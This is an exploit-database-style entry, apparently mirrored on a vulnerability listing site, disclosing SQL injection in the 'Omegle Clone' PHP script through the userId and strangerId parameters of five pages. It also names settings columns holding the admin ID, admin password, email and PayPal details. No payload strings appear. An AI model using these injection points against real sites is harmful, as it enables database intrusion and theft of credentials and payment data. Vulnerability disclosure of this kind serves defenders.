发布 2017-03-18 漏洞条目

Omegle Clone – SQL Injection

Exploit Source

# # # # #

# Exploit Title: Omegle Clone - SQL Injection

# Google Dork: N/A

# Date: 18.03.2017

# Vendor Homepage: http://turnkeycentral.com/

# Software: http://www.turnkeycentral.com/scripts/omegle-clone/

# Demo: http://demo.turnkeycentral.com/omegleclone/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail : ihsan[@]ihsan[.]net

# #ihsansencan

# # # # #

# SQL Injection/Exploit :

# http://localhost/[PATH]/randomChat.php?userId=[SQL]

# http://localhost/[PATH]/listenToReceive.php?userId=[SQL]

# http://localhost/[PATH]/typing.php?userId=[SQL]

# http://localhost/[PATH]/isTyping.php?strangerId=[SQL]

# http://localhost/[PATH]/saveLog.php?userId=[SQL]

# pc_settings :AdminID

# pc_settings :AdminPass

# pc_settings :Email

# pc_settings :PayPal

# pc_settings :IpnMode

# Etc..

# # # # #

相关漏洞条目